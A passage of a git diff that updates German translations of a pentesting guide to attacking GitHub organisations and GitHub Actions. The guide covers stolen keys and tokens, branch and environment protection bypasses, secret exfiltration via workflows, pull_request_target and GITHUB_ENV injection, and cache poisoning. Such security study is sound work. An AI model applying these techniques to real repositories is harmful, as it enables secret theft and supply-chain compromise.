tun_ @@ -105,11 +105,11 @@ _Lassen Sie es mich wissen, wenn Sie den API-Endpunkt kennen, um auf diese Infor ## Rekognoszierung & Angriffe unter Ausnutzung von Anmeldeinformationen -Für dieses Szenario nehmen wir an, dass Sie Zugang zu einem Github-Konto erhalten haben. +Für dieses Szenario nehmen wir an, dass Sie Zugriff auf ein Github-Konto erhalten haben. ### Mit Benutzeranmeldeinformationen -Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Enterprise- und Organisationsrollen Sie haben**, ob Sie ein einfaches Mitglied sind, überprüfen, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**. +Wenn Sie irgendwie bereits Anmeldeinformationen für einen Benutzer innerhalb einer Organisation haben, können Sie **einfach einloggen** und überprüfen, welche **Unternehmens- und Organisationsrollen Sie haben**, wenn Sie ein einfaches Mitglied sind, überprüfen Sie, welche **Berechtigungen einfache Mitglieder haben**, in welchen **Gruppen** Sie sind, welche **Berechtigungen Sie haben** über welche **Repos** und **wie die Repos geschützt sind**. Beachten Sie, dass **2FA verwendet werden kann**, sodass Sie diese Informationen nur abrufen können, wenn Sie auch **diesen Check bestehen**. @@ -128,9 +128,9 @@ Mit diesem Schlüssel können Sie **Änderungen in Repositories vornehmen, in de # Get repo config and current user name and email git config --list ``` -Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der private Schlüssel, den Sie gefunden haben, verwendet werden kann. +Wenn der Benutzer seinen Benutzernamen als seinen GitHub-Benutzernamen konfiguriert hat, können Sie auf die **öffentlichen Schlüssel, die er in seinem Konto festgelegt hat**, unter _https://github.com/\.keys_ zugreifen. Sie könnten dies überprüfen, um zu bestätigen, dass der gefundene private Schlüssel verwendet werden kann. -**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In einem Server mit verschiedenen Deploy-Schlüsseln gibt die lokale Datei **`~/.ssh/config`** Informationen darüber, welcher Schlüssel zugeordnet ist. +**SSH-Schlüssel** können auch in Repositories als **Deploy-Schlüssel** festgelegt werden. Jeder, der Zugriff auf diesen Schlüssel hat, kann **Projekte aus einem Repository starten**. In der Regel gibt die lokale Datei **`~/.ssh/config`** auf einem Server mit verschiedenen Deploy-Schlüsseln Informationen darüber, welcher Schlüssel zugeordnet ist. #### GPG-Schlüssel @@ -144,7 +144,7 @@ gpg --list-secret-keys --keyid-format=long Für eine Einführung über [**Benutzer-Token siehe die grundlegenden Informationen**](basic-github-information.md#personal-access-tokens). -Ein Benutzer-Token kann **anstatt eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen. +Ein Benutzer-Token kann **anstelle eines Passworts** für Git über HTTPS verwendet werden oder kann verwendet werden, um sich [**über die Basis-Authentifizierung bei der API zu authentifizieren**](https://docs.github.com/v3/auth/#basic-authentication). Abhängig von den damit verbundenen Berechtigungen können Sie möglicherweise verschiedene Aktionen ausführen. Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` @@ -152,7 +152,7 @@ Ein Benutzer-Token sieht so aus: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` Für eine Einführung über [**Github Oauth-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#oauth-applications). -Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren. +Ein Angreifer könnte eine **bösartige Oauth-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren. Dies sind die [Scopes, die eine Oauth-Anwendung anfordern kann](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Man sollte immer die angeforderten Scopes überprüfen, bevor man sie akzeptiert. @@ -162,13 +162,13 @@ Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Orga Für eine Einführung über [**Github-Anwendungen siehe die grundlegenden Informationen**](basic-github-information.md#github-applications). -Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich im Rahmen einer Phishing-Kampagne akzeptieren. +Ein Angreifer könnte eine **bösartige Github-Anwendung** erstellen, um auf privilegierte Daten/Aktionen der Benutzer zuzugreifen, die sie wahrscheinlich als Teil einer Phishing-Kampagne akzeptieren. Darüber hinaus können, wie in den grundlegenden Informationen erklärt, **Organisationen den Zugriff auf Drittanbieteranwendungen** auf Informationen/Repos/Aktionen, die mit der Organisation verbunden sind, gewähren oder verweigern. -## Kompromittierung & Missbrauch von Github Action +## Kompromittierung & Missbrauch von Github-Aktionen -Es gibt mehrere Techniken, um eine Github Action zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier: +Es gibt mehrere Techniken, um eine Github-Aktion zu kompromittieren und zu missbrauchen, überprüfen Sie sie hier: {{#ref}} abusing-github-actions/ @@ -176,25 +176,25 @@ abusing-github-actions/ ## Umgehung des Branch-Schutzes -- **Erforderliche Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github Action**-Umgebung im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten. -- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass ein Benutzer normalerweise seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._ -- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht festgelegt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und in den geschützten Branch zusammenführen. -- **Überprüfungen von Code-Eigentümern anfordern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github Action erstellen, die Ihre PR erstellt und dann selbst genehmigt**. -- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber sie wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.** -- **Erlauben Sie bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen. -- **Administratoren einbeziehen**: Wenn dies nicht festgelegt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen. +- **Erfordere eine Anzahl von Genehmigungen**: Wenn Sie mehrere Konten kompromittiert haben, könnten Sie einfach Ihre PRs von anderen Konten akzeptieren. Wenn Sie nur das Konto haben, von dem Sie die PR erstellt haben, können Sie Ihre eigene PR nicht akzeptieren. Wenn Sie jedoch Zugriff auf eine **Github-Aktionsumgebung** im Repo haben, können Sie mit dem **GITHUB_TOKEN** möglicherweise Ihre PR **genehmigen** und auf diese Weise 1 Genehmigung erhalten. +- _Hinweis für dies und für die Code-Eigentümer-Beschränkung, dass normalerweise ein Benutzer seine eigenen PRs nicht genehmigen kann, aber wenn Sie es können, können Sie es ausnutzen, um Ihre PRs zu akzeptieren._ +- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**: Wenn dies nicht eingestellt ist, können Sie legitimen Code einreichen, warten, bis jemand ihn genehmigt, und dann bösartigen Code hinzufügen und ihn in den geschützten Branch zusammenführen. +- **Erfordere Überprüfungen von Code-Eigentümern**: Wenn dies aktiviert ist und Sie ein Code-Eigentümer sind, könnten Sie eine **Github-Aktion erstellen, die Ihre PR erstellt und dann selbst genehmigt**. +- Wenn eine **CODEOWNER-Datei falsch konfiguriert ist**, beschwert sich Github nicht, aber es wird nicht verwendet. Daher, wenn sie falsch konfiguriert ist, wird **der Schutz der Code-Eigentümer nicht angewendet.** +- **Erlaube bestimmten Akteuren, die Anforderungen an Pull-Requests zu umgehen**: Wenn Sie einer dieser Akteure sind, können Sie die Pull-Request-Schutzmaßnahmen umgehen. +- **Administratoren einbeziehen**: Wenn dies nicht eingestellt ist und Sie Administrator des Repos sind, können Sie diese Branch-Schutzmaßnahmen umgehen. - **PR-Hijacking**: Sie könnten in der Lage sein, die **PR eines anderen zu ändern**, indem Sie bösartigen Code hinzufügen, die resultierende PR selbst genehmigen und alles zusammenführen. - **Entfernen von Branch-Schutzmaßnahmen**: Wenn Sie ein **Administrator des Repos sind, können Sie die Schutzmaßnahmen deaktivieren**, Ihre PR zusammenführen und die Schutzmaßnahmen wieder aktivieren. - **Umgehung von Push-Schutzmaßnahmen**: Wenn ein Repo **nur bestimmten Benutzern** erlaubt, Push (Code zusammenführen) in Branches zu senden (der Branch-Schutz könnte alle Branches schützen, indem das Wildcard `*` angegeben wird). -- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github Action erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github Action ausführen**. +- Wenn Sie **Schreibzugriff auf das Repo haben, aber nicht berechtigt sind, Code zu pushen** aufgrund des Branch-Schutzes, können Sie dennoch **einen neuen Branch erstellen** und darin eine **Github-Aktion erstellen, die ausgelöst wird, wenn Code gepusht wird**. Da der **Branch-Schutz den Branch nicht schützt, bis er erstellt ist**, wird dieser erste Code-Push in den Branch die **Github-Aktion ausführen**. ## Umgehung von Umgebungs-Schutzmaßnahmen Für eine Einführung über [**Github-Umgebungen siehe die grundlegenden Informationen**](basic-github-information.md#git-environments). -Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie auf Repos stoßen könnten, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github Action erstellen (oder eine vorhandene ändern). +Falls eine Umgebung von **allen Branches aus zugänglich ist**, ist sie **nicht geschützt** und Sie können leicht auf die Geheimnisse innerhalb der Umgebung zugreifen. Beachten Sie, dass Sie möglicherweise Repos finden, in denen **alle Branches geschützt sind** (indem ihre Namen angegeben oder `*` verwendet wird). In diesem Szenario sollten Sie **einen Branch finden, in den Sie Code pushen können**, und Sie können die Geheimnisse exfiltrieren, indem Sie eine neue Github-Aktion erstellen (oder eine vorhandene ändern). -Beachten Sie, dass Sie auf den Grenzfall stoßen könnten, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github Action ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github Action ausgelöst wird**. +Beachten Sie, dass Sie möglicherweise den Grenzfall finden, in dem **alle Branches geschützt sind** (über Wildcard `*`), es wird angegeben, **wer Code in die Branches pushen kann** (_das können Sie im Branch-Schutz angeben_) und **Ihr Benutzer nicht berechtigt ist**. Sie können dennoch eine benutzerdefinierte Github-Aktion ausführen, da Sie einen Branch erstellen und den Push-Trigger über sich selbst verwenden können. Der **Branch-Schutz erlaubt den Push in einen neuen Branch, sodass die Github-Aktion ausgelöst wird**. ```yaml push: # Run it when a push is made to a branch branches: @@ -206,8 +206,8 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf - Generieren Sie **Benutzertoken** - Stehlen Sie **Github-Tokens** aus **Secrets** -- **Löschung** von Workflow-**Ergebnissen** und **Branches** -- Gewähren Sie **mehr Berechtigungen für die gesamte Organisation** +- **Löschen** von Workflow-**Ergebnissen** und **Branches** +- Geben Sie **mehr Berechtigungen für die gesamte Organisation** - Erstellen Sie **Webhooks**, um Informationen zu exfiltrieren - Laden Sie **außenstehende Mitarbeiter** ein - **Entfernen** Sie **Webhooks**, die vom **SIEM** verwendet werden @@ -216,7 +216,7 @@ Beachten Sie, dass **nach der Erstellung** des Branches der **Branch-Schutz auf ### Imposter Commits - Hintertür über Repo-Commits -In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, das nicht vom Eigentümer des Repos erstellt wurde**. +In Github ist es möglich, **einen PR zu einem Repo von einem Fork zu erstellen**. Selbst wenn der PR **nicht akzeptiert** wird, wird eine **Commit**-ID im ursprünglichen Repo für die Fork-Version des Codes erstellt. Daher könnte ein Angreifer **einen bestimmten Commit aus einem anscheinend legitimen Repo verwenden, der nicht vom Eigentümer des Repos erstellt wurde**. Wie [**dies**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index df0723f02..07be44ca9 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,4 +1,4 @@ -# Abusing Github Actions +# Missbrauch von Github Actions {{#include ../../../banners/hacktricks-training.md}} @@ -6,24 +6,24 @@ Auf dieser Seite finden Sie: -- Eine **Zusammenfassung aller Auswirkungen**, wenn es einem Angreifer gelingt, auf eine Github Action zuzugreifen +- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer Zugriff auf eine Github Action erhält - Verschiedene Möglichkeiten, um **Zugriff auf eine Action zu erhalten**: - Berechtigungen zum Erstellen der Action haben - Missbrauch von **Pull-Request**-bezogenen Triggern - Missbrauch von **anderen externen Zugriffstechniken** - **Pivoting** von einem bereits kompromittierten Repo -- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (um die genannten Auswirkungen zu verursachen) +- Schließlich ein Abschnitt über **Post-Exploitation-Techniken, um eine Action von innen zu missbrauchen** (wegen der genannten Auswirkungen) ## Zusammenfassung der Auswirkungen -Für eine Einführung über [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions). +Für eine Einführung zu [**Github Actions, überprüfen Sie die grundlegenden Informationen**](../basic-github-information.md#github-actions). Wenn Sie **beliebigen Code in GitHub Actions** innerhalb eines **Repositories** ausführen können, könnten Sie in der Lage sein: -- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline zu missbrauchen**, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten. +- **Geheime Daten** zu stehlen, die in die Pipeline eingebunden sind, und die **Befugnisse der Pipeline** zu missbrauchen, um unbefugten Zugriff auf externe Plattformen wie AWS und GCP zu erhalten. - **Deployments** und andere **Artefakte** zu kompromittieren. - Wenn die Pipeline Assets bereitstellt oder speichert, könnten Sie das Endprodukt ändern, was einen Supply-Chain-Angriff ermöglicht. -- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und auf andere Systeme zu pivotieren. +- **Code in benutzerdefinierten Workern auszuführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivotieren. - **Repository-Code zu überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind. ## GITHUB_TOKEN @@ -35,7 +35,7 @@ Dieses "**Geheimnis**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ gith Dieses Token ist dasselbe, das eine **Github-Anwendung verwenden wird**, sodass es auf dieselben Endpunkte zugreifen kann: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository**-Zugriff innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann. +> Github sollte einen [**Flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **den Zugriff über Repositories hinweg** innerhalb von GitHub ermöglicht, sodass ein Repo auf andere interne Repos mit dem `GITHUB_TOKEN` zugreifen kann. Sie können die möglichen **Berechtigungen** dieses Tokens hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) @@ -81,11 +81,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen oder in den Geheimnissen von Github Actions** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben. +> Beachten Sie, dass Sie in mehreren Fällen **Github-Benutzertokens in den Umgebungsvariablen von Github Actions oder in den Secrets** finden können. Diese Tokens können Ihnen mehr Berechtigungen über das Repository und die Organisation geben.
-Geheimnisse im Github Action-Ausgang auflisten +Liste der Secrets im Github Action-Ausgang ```yaml name: list_env on: @@ -151,9 +151,9 @@ Falls Mitglieder einer Organisation **neue Repos erstellen** können und Sie Git ### Ausführung aus einem neuen Branch -Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Repository- und Organisationsebene Geheimnisse exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden). +Wenn Sie **einen neuen Branch in einem Repository erstellen können, das bereits eine konfigurierte Github-Aktion enthält**, können Sie diese **modifizieren**, den Inhalt **hochladen** und dann **diese Aktion aus dem neuen Branch ausführen**. Auf diese Weise können Sie **Geheimnisse auf Repository- und Organisationsebene exfiltrieren** (aber Sie müssen wissen, wie sie genannt werden). -Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes gepusht werden** (je nachdem, wie auffällig Sie sein möchten): +Sie können die modifizierte Aktion **manuell** ausführbar machen, wenn ein **PR erstellt wird** oder wenn **einige Codes hochgeladen werden** (je nachdem, wie auffällig Sie sein möchten): ```yaml on: workflow_dispatch: # Launch manually @@ -170,11 +170,11 @@ branches: ## Forked Execution > [!NOTE] -> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** **auszuführen**. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren. +> Es gibt verschiedene Trigger, die es einem Angreifer ermöglichen könnten, eine **Github Action eines anderen Repositories** auszuführen. Wenn diese auslösbaren Aktionen schlecht konfiguriert sind, könnte ein Angreifer in der Lage sein, sie zu kompromittieren. ### `pull_request` -Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**: +Der Workflow-Trigger **`pull_request`** wird jedes Mal ausgeführt, wenn ein Pull-Request empfangen wird, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass Sie **mitarbeiten**, muss ein **Maintainer** die **Ausführung** des Workflows **genehmigen**:
@@ -183,9 +183,9 @@ Der Workflow-Trigger **`pull_request`** wird jedes Mal den Workflow ausführen, > > **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Möglichkeit wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat und dessen Konto gelöscht wurde.~~ -Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** für das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt: +Darüber hinaus **verhindert standardmäßig Schreibberechtigungen** und **Zugriff auf Geheimnisse** auf das Ziel-Repository, wie in den [**Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt: -> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow aus einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**. +> Mit Ausnahme von `GITHUB_TOKEN` werden **Geheimnisse nicht an den Runner übergeben**, wenn ein Workflow von einem **forked** Repository ausgelöst wird. Das **`GITHUB_TOKEN` hat nur Lesezugriff** in Pull-Requests **von geforkten Repositories**. Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Aktionen anzuhängen. Er wird jedoch nicht in der Lage sein, Geheimnisse zu stehlen oder das Repo zu überschreiben, aufgrund der genannten Einschränkungen. @@ -198,10 +198,10 @@ Da der Angreifer auch den ausgeführten Code kontrolliert, könnte er beispielsw Der Workflow-Trigger **`pull_request_target`** hat **Schreibberechtigungen** für das Ziel-Repository und **Zugriff auf Geheimnisse** (und fragt nicht nach Erlaubnis). -Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext **ausgeführt wird** (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Beachten Sie, dass der Workflow-Trigger **`pull_request_target`** **im Basis-Kontext** und nicht im durch den PR gegebenen Kontext ausgeführt wird (um **nicht vertrauenswürdigen Code auszuführen**). Für weitere Informationen zu `pull_request_target` [**überprüfen Sie die Docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Darüber hinaus finden Sie weitere Informationen zu dieser spezifischen gefährlichen Verwendung in diesem [**Github-Blogbeitrag**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der in der **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**. +Es könnte so aussehen, als wäre der **ausgeführte Workflow** der, der im **Basis** definiert ist und **nicht im PR**, was es **sicher** macht, **`pull_request_target`** zu verwenden, aber es gibt **einige Fälle, in denen dies nicht der Fall ist**. Und dieser hat **Zugriff auf Geheimnisse**. @@ -217,20 +217,20 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow nicht**. +Darüber hinaus, laut den Dokumenten: Der durch das `workflow_run`-Ereignis gestartete Workflow kann **auf Geheimnisse zugreifen und Token schreiben, auch wenn der vorherige Workflow dies nicht konnte**. Diese Art von Workflow könnte angegriffen werden, wenn sie **von einem Workflow abhängt**, der von einem externen Benutzer über **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Einige anfällige Beispiele können [**in diesem Blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gefunden werden.** Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}`\ -Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die ihn **anfällig für RCE** macht. +Der zweite besteht darin, ein **Artifact** vom **nicht vertrauenswürdigen** Code an den **`workflow_run`**-Workflow zu **übergeben** und den Inhalt dieses Artifacts auf eine Weise zu verwenden, die **anfällig für RCE** ist. ### `workflow_call` TODO -TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der vom Ursprung oder vom geforkten PR ist +TODO: Überprüfen, ob der verwendete/heruntergeladene Code bei der Ausführung von einem pull_request der von der Quelle oder vom geforkten PR stammt ## Missbrauch von geforkter Ausführung -Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow ausführen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten: +Wir haben alle Möglichkeiten erwähnt, wie ein externer Angreifer einen GitHub-Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn sie schlecht konfiguriert sind, missbraucht werden könnten: ### Nicht vertrauenswürdige Checkout-Ausführung @@ -276,17 +276,17 @@ Der potenziell **nicht vertrauenswürdige Code wird während `npm install` oder ### Kontext-Skript-Injektionen -Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **Benutzer** erstellt werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen: +Beachten Sie, dass es bestimmte [**GitHub-Kontexte**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte von dem **Benutzer** kontrolliert werden, der den PR erstellt. Wenn die GitHub-Aktion diese **Daten verwendet, um irgendetwas auszuführen**, könnte dies zu **willkürlicher Codeausführung** führen: {{#ref}} gh-actions-context-script-injections.md {{#endref}} -### **GITHUB_ENV-Skript-Injektion** +### **GITHUB_ENV Skript-Injektion** -Aus den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben. +Laut den Dokumenten: Sie können eine **Umgebungsvariable für alle nachfolgenden Schritte** in einem Workflow-Job verfügbar machen, indem Sie die Umgebungsvariable definieren oder aktualisieren und dies in die **`GITHUB_ENV`**-Umgebungsdatei schreiben. -Wenn ein Angreifer **irgend einen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**. +Wenn ein Angreifer **irgendeinen Wert** in diese **env**-Variable **einschleusen** könnte, könnte er Umgebungsvariablen injizieren, die in nachfolgenden Schritten Code ausführen könnten, wie **LD_PRELOAD** oder **NODE_OPTIONS**. Zum Beispiel ([**dies**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**dies**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stellen Sie sich einen Workflow vor, der einem hochgeladenen Artifact vertraut, um seinen Inhalt in der **`GITHUB_ENV`**-Umgebungsvariable zu speichern. Ein Angreifer könnte etwas wie dies hochladen, um es zu kompromittieren: @@ -349,7 +349,7 @@ Wenn ein Konto seinen Namen ändert, könnte ein anderer Benutzer nach einiger Z > [!CAUTION] > Wenn eine Aktion ein Repo von einem nicht existierenden Konto verwendet, ist es immer noch möglich, dass ein Angreifer dieses Konto erstellen und die Aktion kompromittieren könnte. -Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine umfassendere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet haben, wird ein Angreifer in der Lage sein, sie zu hijacken. Hier haben Sie eine vollständigere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- @@ -358,17 +358,17 @@ Wenn andere Repositories **Abhängigkeiten von diesen Benutzer-Repos** verwendet > [!NOTE] > In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt). -### Cache-Poisoning +### Cache-Vergiftung -Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** **kompromittiert**, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann. +Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** kompromittiert, das dann im Cache gespeichert 